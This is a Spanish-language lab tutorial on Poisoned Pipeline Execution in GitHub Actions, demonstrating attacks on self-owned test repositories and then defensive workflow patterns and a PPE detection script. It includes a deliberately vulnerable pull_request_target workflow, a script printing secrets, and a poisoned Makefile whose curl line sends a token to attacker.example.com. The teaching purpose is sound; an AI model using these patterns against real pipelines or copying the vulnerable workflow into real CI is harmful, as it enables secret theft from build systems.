Laboratorio: Explotación y Defensa contra Poisoned Pipeline Execution (PPE)

Descripción general

Poisoned Pipeline Execution (PPE) ocupa el puesto n.º 2 en el OWASP CI/CD Security Top 10. Se trata de una clase de ataques en la que un actor malicioso manipula el proceso de compilación inyectando código en las definiciones del pipeline o en los scripts de compilación, generalmente a través de un pull request. Una vez que el sistema de CI recoge el cambio, el código del atacante se ejecuta dentro del entorno de compilación — pudiendo exfiltrar secretos, manipular artefactos o pivotar hacia la infraestructura interna.

Este laboratorio práctico te guía a través de Direct PPE e Indirect PPE en un entorno seguro y aislado de GitHub Actions. Simularás los ataques tú mismo, observarás los resultados y luego implementarás los patrones defensivos que los detienen.

Al finalizar este laboratorio serás capaz de:

  • Explicar las tres variantes de PPE y en qué se diferencian.
  • Demostrar Direct PPE mediante pull_request_target e Indirect PPE mediante un Makefile envenenado.
  • Implementar cinco patrones defensivos de workflow que neutralizan PPE.
  • Escribir un script básico de detección de actividad sospechosa en CI.

Requisitos previos

  • Una cuenta de GitHub (el nivel gratuito es suficiente).
  • Dos repositorios de prueba que te pertenezcan — uno actúa como el repositorio del pipeline víctima, el otro como el fork del atacante.
  • Familiaridad básica con la sintaxis de workflows de GitHub Actions (on:, jobs:, steps:).
  • Una terminal con git y curl instalados.

Aviso de seguridad importante

Este laboratorio debe ejecutarse en repositorios de prueba aislados que tú poseas y controles. Nunca pruebes técnicas de Poisoned Pipeline Execution contra pipelines de producción reales, repositorios compartidos de una organización ni proyectos de código abierto que no te pertenezcan. Todos los ejercicios siguientes utilizan repositorios que creas específicamente para este laboratorio. Elimínalos cuando hayas terminado.

Comprendiendo Poisoned Pipeline Execution

PPE explota una suposición fundamental de confianza: el sistema de CI/CD confía en el código que descarga y ejecuta. Un atacante que pueda influir en qué código ejecuta el pipeline puede secuestrar la compilación. Existen tres variantes reconocidas:

Direct PPE (D-PPE)

El atacante modifica directamente el archivo de definición del pipeline — por ejemplo, .github/workflows/build.yml. Si el sistema de CI ejecuta la versión modificada desde la rama del pull request, los comandos arbitrarios del atacante se ejecutan en el entorno de CI.

Indirect PPE (I-PPE)

El atacante no modifica el YAML del workflow. En su lugar, modifica archivos que el pipeline consume: un Makefile, un script de shell invocado por el workflow, un Dockerfile, un archivo de configuración o incluso un manifiesto de dependencias. La definición del pipeline permanece idéntica a la rama base, pero la lógica de compilación ha sido envenenada.

Public / Third-Party PPE (3P-PPE)

El atacante apunta a un repositorio público haciendo un fork y enviando un pull request. Este es el vector más común en el mundo real porque no requiere acceso previo al repositorio objetivo — solo la capacidad de abrir un PR.

Diagrama del flujo de ataque

┌─────────────┐         ┌──────────────────┐         ┌────────────────┐
│  Attacker    │  fork   │  Victim Repo     │  trigger│  CI/CD Runner  │
│  (fork/PR)   │────────▶│  (base branch)   │────────▶│  (GitHub       │
│              │         │                  │         │   Actions)     │
└──────┬───────┘         └──────────────────┘         └───────┬────────┘
       │                                                      │
       │  1. Modify workflow YAML (D-PPE)                     │
       │     OR build scripts (I-PPE)                         │
       │  2. Open Pull Request                                │
       │                                                      │
       │                   3. CI checks out PR code ◀─────────┘
       │                   4. Executes attacker's payload
       │                   5. Secrets / tokens exfiltrated
       ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Impact: secret theft, artifact tampering, lateral movement        │
└─────────────────────────────────────────────────────────────────────────┘

Ejercicio 1: Direct PPE — Modificación del archivo de workflow

En este ejercicio verás cómo GitHub Actions protege contra la forma más simple de D-PPE cuando se utiliza el trigger pull_request.

Paso 1 — Crear el repositorio víctima

Crea un nuevo repositorio público llamado ppe-lab-victim. Añade el siguiente archivo de workflow:

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build
        run: |
          echo "Building the project..."
          echo "Build completed successfully."

Haz commit de esto en la rama main.

Paso 2 — Hacer fork y envenenar el workflow (perspectiva del atacante)

Haz fork de ppe-lab-victim a tu segunda cuenta de GitHub (o usa la misma cuenta para simplificar). En el fork, edita .github/workflows/build.yml:

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Exfiltrate environment variables
        run: |
          echo "=== EXFILTRATING ENVIRONMENT ==="
          env | sort
          echo "=== GITHUB_TOKEN ==="
          echo "Token length: ${#GITHUB_TOKEN}"

Paso 3 — Abrir un Pull Request

Desde el fork, abre un PR contra main en el repositorio víctima.

Paso 4 — Observar el resultado

Navega a la pestaña Actions. Verás que el workflow que se ejecutó es la versión de la rama base (main), no la versión modificada del atacante. El paso «Exfiltrate environment variables» no existe en el workflow ejecutado.

Esta es la protección incorporada de GitHub Actions para el evento pull_request: siempre utiliza el archivo de workflow de la rama base, no el de la rama del PR. Las modificaciones YAML del atacante son ignoradas.

Conclusión clave: El trigger pull_request es seguro contra Direct PPE porque la definición del workflow proviene de la rama base. Sin embargo, esta protección no se extiende a todos los triggers — como verás a continuación.

Ejercicio 2: El peligroso pull_request_target

El evento pull_request_target fue introducido para permitir que los workflows comenten en PRs, les pongan etiquetas o realicen otras acciones que requieren permisos de escritura y acceso a secretos. Se ejecuta en el contexto de la rama base, pero puede configurarse para descargar el código del PR — y ahí es donde reside el peligro.

Paso 1 — Crear un workflow vulnerable

En tu repositorio ppe-lab-victim, crea un nuevo workflow:

.github/workflows/pr-check.yml

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          cat README.md
          echo "Tests passed."

Antes de continuar, ve a Settings → Secrets and variables → Actions del repositorio y añade un secreto de repositorio llamado MY_SECRET con el valor super-secret-token-12345.

Paso 2 — Explotar la vulnerabilidad (perspectiva del atacante)

En el fork, crea un archivo llamado README.md (o modifica el existente) y añade esto al final:

This is a normal README update.

Ahora también modifica .github/workflows/pr-check.yml en el fork. Pero espera — recuerda que pull_request_target ejecuta el workflow de la rama base, por lo que modificar el YAML en el fork no tiene efecto. El atacante necesita un enfoque diferente.

En su lugar, crea un script malicioso en el fork:

test.sh

#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"

Ahora actualiza el workflow del repositorio víctima para que invoque este script (simulando un workflow que ejecuta código descargado):

.github/workflows/pr-check.yml (actualizado en la rama base):

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          chmod +x test.sh
          ./test.sh

Paso 3 — Abrir el PR y observar

Abre un PR desde el fork. El workflow se ejecuta desde la definición de la rama base, pero descarga el código del atacante. El script malicioso test.sh se ejecuta e imprime el valor del secreto.

Revisa el log de Actions. Verás:

=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345

Esto es un caso clásico de Poisoned Pipeline Execution. La definición del workflow es de confianza (rama base), pero el código que ejecuta está controlado por el atacante (checkout de la rama del PR).

Conclusión clave: La combinación de pull_request_target + actions/checkout con ref: ${{ github.event.pull_request.head.sha }} + ejecución de código descargado + secretos en el entorno es el patrón de PPE más peligroso en GitHub Actions.

Ejercicio 3: Indirect PPE — Envenenamiento de scripts de compilación

Indirect PPE es más sutil. El atacante nunca modifica el YAML del workflow — modifica archivos que el pipeline consume. Esto elude la protección incorporada del trigger pull_request contra cambios en los archivos de workflow.

Paso 1 — Crear un repositorio con compilación basada en Makefile

En tu repositorio ppe-lab-victim, añade un Makefile:

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Actualiza el workflow para usar el Makefile:

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build project
        run: make build

      - name: Run tests
        run: make test

Observa que esto utiliza el trigger seguro pull_request. El YAML del workflow en sí está protegido.

Paso 2 — Envenenar el Makefile (perspectiva del atacante)

En el fork, modifica solo el Makefile (no toques ningún archivo de workflow):

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."
	@echo "=== PPE: Dumping environment ==="
	@env | sort
	@echo "=== PPE: Exfiltrating token ==="
	@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Paso 3 — Abrir el PR y observar

Abre un PR desde el fork. El archivo de workflow de la rama base se ejecuta (¡seguro!), pero actions/checkout descarga el código de la rama del PR, que incluye el Makefile envenenado. Cuando el workflow ejecuta make build, ejecuta el Makefile modificado del atacante.

En el log de Actions verás las variables de entorno volcadas. El comando curl fallará (el dominio no existe), pero en un ataque real tendría éxito.

Conclusión clave: El trigger pull_request protege el YAML del workflow, pero no protege el contenido del repositorio que el workflow ejecuta. Cualquier archivo que el pipeline ejecute, importe o incluya es un vector potencial de I-PPE: Makefile, scripts de package.json, Dockerfile, .eslintrc.js, pytest.ini, scripts de shell y más.

Ejercicio 4: Defensa — Patrones seguros de workflow

Ahora que comprendes el ataque, implementemos las defensas.

Patrón 1: Nunca hacer checkout del HEAD del PR en workflows con pull_request_target

Si debes usar pull_request_target, nunca descargues el código del PR. Opera solo con metadatos:

name: Label PR

on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # Safe: no checkout at all
      - name: Add label
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.addLabels({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              labels: ['needs-review']
            });

Regla: Si un workflow con pull_request_target no necesita el código fuente del PR, no lo descargues.

Patrón 2: Usar el trigger pull_request y no exponer secretos

Para la validación de PRs, usa pull_request y asegúrate de que no se pasen secretos al job:

name: PR Validation

on:
  pull_request:
    branches: [main]

jobs:
  validate:
    runs-on: ubuntu-latest
    # No secrets referenced anywhere in this job
    steps:
      - uses: actions/checkout@v4

      - name: Lint
        run: npm run lint

      - name: Unit tests
        run: npm test

Incluso si un ataque de I-PPE modifica los scripts de package.json, el atacante no obtiene secretos porque ninguno está disponible.

Patrón 3: Separar workflows de validación y compilación

Divide tu CI en dos etapas — un paso de validación no confiable y un paso de compilación confiable:

# .github/workflows/validate.yml — runs on PRs, no secrets
name: Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test-unit
# .github/workflows/build.yml — runs only on main, full secrets
name: Build and Deploy

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: make build

      - name: Deploy
        run: make deploy

Los secretos solo están disponibles en workflows activados por pushes a main, lo cual requiere que el PR haya sido mergeado primero (y por tanto revisado y aprobado).

Patrón 4: Minimizar el alcance del token con permissions

Restringe el GITHUB_TOKEN automático al mínimo indispensable:

name: PR Check

on:
  pull_request:
    branches: [main]

permissions: {}  # No permissions at all

jobs:
  check:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Only read access, nothing else
    steps:
      - uses: actions/checkout@v4
      - run: make test

Incluso si el atacante exfiltra el GITHUB_TOKEN, solo puede leer contenido público — no puede hacer push de código, crear releases ni acceder a secretos.

Patrón 5: Fijar el checkout a la rama base para operaciones sensibles

Si debes usar pull_request_target y necesitas algo de contexto del PR, haz checkout de la rama base para los pasos sensibles y usa solo metadatos del PR:

name: Secure PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      # Check out the BASE branch (trusted code)
      - name: Checkout base branch
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.base.sha }}

      - name: Run trusted build scripts
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          # These scripts come from the base branch, not the PR
          ./scripts/validate-pr.sh

Regla: El código de confianza (rama base) maneja los secretos. El código no confiable (rama del PR) nunca los toca.

Ejercicio 5: Defensa — Protección contra Indirect PPE

I-PPE es más difícil de defender porque el atacante modifica archivos regulares, no definiciones de workflows. Estas son las contramedidas clave.

CODEOWNERS para archivos críticos de compilación

Crea un archivo CODEOWNERS que requiera la revisión del equipo de seguridad para cualquier cambio en los scripts de compilación:

# .github/CODEOWNERS

# Build infrastructure — require security team review
Makefile                    @myorg/security-team
Dockerfile                  @myorg/security-team
.github/workflows/          @myorg/security-team
scripts/                    @myorg/security-team
package.json                @myorg/security-team
*.sh                        @myorg/security-team

Combinado con reglas de protección de rama que requieran la aprobación de CODEOWNERS, esto evita que cambios no revisados en archivos críticos de compilación sean mergeados.

Requerir aprobación antes de que CI se ejecute en PRs externos

Ve a Settings → Actions → General de tu repositorio y bajo «Fork pull request workflows from outside collaborators», selecciona «Require approval for all outside collaborators». Esto garantiza que un mantenedor deba aprobar explícitamente la ejecución de CI para cada PR externo.

Usar workflow_run para procesamiento post-PR de confianza

El evento workflow_run te permite encadenar workflows: primero se ejecuta un workflow de PR seguro y sin secretos, y solo tras su éxito se ejecuta un workflow de confianza con permisos completos.

# .github/workflows/pr-validate.yml — untrusted, no secrets
name: PR Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test
# .github/workflows/pr-post-validate.yml — trusted, has secrets
name: PR Post-Validate

on:
  workflow_run:
    workflows: ["PR Validate"]
    types: [completed]

permissions:
  contents: read
  pull-requests: write
  statuses: write

jobs:
  report:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      # Check out the BASE branch — never the PR branch
      - name: Checkout base
        uses: actions/checkout@v4

      - name: Post status comment
        uses: actions/github-script@v7
        with:
          script: |
            const runId = context.payload.workflow_run.id;
            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
            for (const prNumber of prNumbers) {
              await github.rest.issues.createComment({
                owner: context.repo.owner,
                repo: context.repo.repo,
                issue_number: prNumber,
                body: `Validation passed. Workflow run: ${runId}`
              });
            }

El segundo workflow se ejecuta en el contexto de la rama por defecto, tiene acceso a secretos, pero nunca descarga código del PR. Este es el patrón más seguro para procesamiento post-PR que necesita permisos elevados.

Ejecutar código no confiable en contenedores aislados

Si debes ejecutar código del PR con algún tipo de acceso, ejecútalo en un contenedor restringido:

jobs:
  sandbox-test:
    runs-on: ubuntu-latest
    container:
      image: alpine:3.19
      options: --network none  # No network access
    steps:
      - uses: actions/checkout@v4
      - name: Run untrusted tests
        run: |
          # This runs inside a container with NO network
          # Even if the Makefile tries to exfiltrate, it cannot reach the internet
          apk add --no-cache make
          make test

La opción --network none impide cualquier conexión saliente, haciendo imposible la exfiltración incluso si el payload del atacante se ejecuta.

Ejercicio 6: Detección

La prevención es lo mejor, pero la detección proporciona defensa en profundidad. Así es como se detectan los intentos de PPE.

Monitorizar comandos sospechosos en logs de CI

Crea un script de detección que analice los archivos de workflow en busca de indicadores comunes de PPE:

#!/bin/bash
# detect-ppe.sh — Scan workflow files for PPE risk indicators

WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0

echo "=== PPE Risk Scanner ==="
echo ""

# Check 1: pull_request_target with checkout of PR head
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request_target" "$file"; then
    if grep -q "github.event.pull_request.head" "$file"; then
      echo "[CRITICAL] $file: pull_request_target + PR head checkout detected"
      echo "           This is the classic D-PPE vulnerability."
      EXIT_CODE=1
    fi
  fi
done

# Check 2: Workflows that execute checked-out scripts
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -qE '\./.*.sh|make |npm run|yarn |python .*\.py' "$file"; then
    if grep -q "pull_request" "$file"; then
      echo "[WARNING]  $file: PR workflow executes repo scripts (I-PPE risk)"
      echo "           Ensure no secrets are passed to this job."
    fi
  fi
done

# Check 3: Secrets used in PR workflows
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "\${{ secrets\." "$file"; then
      echo "[HIGH]     $file: Secrets referenced in PR workflow"
      echo "           Secrets should not be available in PR-triggered workflows."
      EXIT_CODE=1
    fi
  fi
done

# Check 4: Overly broad permissions
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
      echo "[MEDIUM]   $file: PR workflow with broad or unset permissions"
      echo "           Add explicit 'permissions: {}' or minimal scopes."
    fi
  fi
done

echo ""
if [ $EXIT_CODE -eq 0 ]; then
  echo "No critical PPE risks detected."
else
  echo "Critical PPE risks found. Review the findings above."
fi

exit $EXIT_CODE

Monitorización del log de auditoría de GitHub

Para monitorización a nivel de GitHub Enterprise u organización, usa la API del log de auditoría para rastrear cambios en workflows:

# Query audit log for workflow file modifications
gh api \
  -H "Accept: application/vnd.github+json" \
  /orgs/{org}/audit-log?phrase=action:workflows \
  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Revisión automatizada de PRs para cambios en archivos de compilación

Añade un workflow que señale los PRs que modifican archivos críticos de compilación:

name: Build File Change Alert

on:
  pull_request:
    paths:
      - 'Makefile'
      - 'Dockerfile'
      - '**/*.sh'
      - 'package.json'
      - '.github/workflows/**'

jobs:
  alert:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Comment warning
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: '⚠️ **Build File Change Detected**\n\nThis PR modifies build-critical files. A security team review is required before merging.\n\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'
            });

Limpieza

Después de completar el laboratorio:

  1. Elimina el repositorio ppe-lab-victim.
  2. Elimina el repositorio forkeado.
  3. Revoca cualquier token de acceso personal que hayas creado para las pruebas.
  4. Elimina el secreto de repositorio MY_SECRET si el repositorio aún existe.

No dejes workflows de prueba vulnerables ejecutándose en ningún repositorio que pretendas conservar.

Conclusiones clave

  • El trigger pull_request es seguro contra D-PPE porque ejecuta el workflow de la rama base, no de la rama del PR.
  • pull_request_target + checkout del HEAD del PR es el patrón más peligroso en GitHub Actions. Otorga al código del atacante acceso a secretos y permisos de escritura.
  • Indirect PPE elude las protecciones a nivel de workflow envenenando archivos que el pipeline ejecuta (Makefiles, scripts, configuraciones) en lugar del workflow en sí.
  • Separa las etapas no confiables de las confiables: ejecuta la validación de PRs sin secretos y solo otorga secretos a workflows activados por pushes a ramas protegidas.
  • La defensa en profundidad es esencial: combina CODEOWNERS, requisitos de aprobación, permisos mínimos, ejecución en sandbox y scripts de detección.
  • Trata cada archivo en un PR como entrada no confiable — no solo el YAML del workflow, sino cada script, configuración y manifiesto que el pipeline toque.

Próximos pasos

Continúa fortaleciendo tus conocimientos de seguridad CI/CD con estas guías relacionadas: